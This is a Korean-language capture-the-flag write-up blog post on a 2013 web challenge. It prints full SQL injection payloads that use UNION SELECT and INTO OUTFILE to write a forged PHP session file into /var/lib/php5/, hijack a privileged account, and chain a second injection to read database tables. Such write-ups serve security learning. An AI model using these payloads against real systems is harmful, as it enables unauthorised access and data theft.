2013. 9. 15. 20:06

[White Hacking] Serial2 web(150 point) Write-up , 화이트 해킹대회


Solved By 광운(exso)



1. 우선 로그인을 해보면 비밀글을 읽고 싶게 만들어져 있으므로 readme 권한을 얻어냈다.




2. 우선 페이지의 Admin 페이지를 가보면 가벼운 인젝션이 먹히는 것을 확인 할 수있다. 

하지만 얻어낼 것은 아무것도 없었다. 데이터베이스는 다른 데이터베이스와 나눠져 있었다.


union select 가 먹히는 것도 확인 했다.


loadfile 과 outfile 이 먹혀 들어가는 것도 확인 했다. 


아래는 loadfile 로 결과를 union select 로 확인한 화면이다. 


union select ..... into outfile('[파일명]');  을 이용하여 세션을 강제 주입하여 readme 권한으로 세션을 만들어야 한다. 세션을 /var/lib/php5/ 에 강제 주입시키고, 그 세션으로 하이제킹하여 readme 권한을 얻는 방법을 써야 한다. 


세션을 만들기 위해 세션이 어떤식으로 생성되는가를 봐야하는데, 이는 include 취약점을 만들어두어

소스코드를 읽을 수 있게 해 두었다. 


session 이름은 memdata 이고 id,pw,level,을 인자로서 만들어 진다는 것을 알 수 있었다.

서버에 똑같이 코딩하여 세션을 생성 하였다.



[세션을 만들어내는 모습]


[인젝션을 할 시 싱글 쿼터 더블쿼터가 걸리적 거리므로 헥사코드로 전부 치환 시킨다]




인젝션 구문을 통하여 서버에 강제로 readme 계정의 세션을 주입 시킨다.

'union select 0x6D656D646174617C733A38363A22613A343A7B733A333A22696478223B733A313A2231223B733A323A226964223B733A363A22726561646D65223B733A323A227077223B733A343A2261616161223B733A353A226C6576656C223B733A313A2231223B7D223B into outfile '/var/lib/php5/sess_k1rha' #


(여기서 세션 이름은 sess_ 가 반드시 포함되어야 하며 k1rha는 임의의 세션명이다.)


[세션 강제 주입 화면 .강제 주입시는 sess_ 를 빼고 삽입한다]



[세션을 대체하고나면 비밀글이 보인다. 

하지만 답이 있는것이 아니라 디비를 다시 뒤지라고 알려준다.]




이렇게 세션이 삽입 된다는 것을 알았다.


이때 session id 대신 session level 을 출력해 주는 방식을 사용하여 level 부분에 다시 유니온을 사용하여

member테이블에 대한 값을 구해 올 수 있었다.



' union select 'memdata|s:161:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k2rha";s:2:"pw";s:8:"anything";s:5:"level";s:72:"2\' union select group_concat(table_name) from information_schema.tables#";}";' into outfile '/var/lib/php5/sess_customsession1'#


CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_C : Hacking Detected

.

.

.

.

이하 생략

.

.

.




union select 'memdata|s:136:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k1rha";s:2:"pw";s:8:"anything";s:5:"level";s:47:"2\' union select k3yk3y from k3y_1s_h3r3.k3yk3y#";}";' into outfile '/var/lib/php5/sess_customsession'#














Posted by k1rha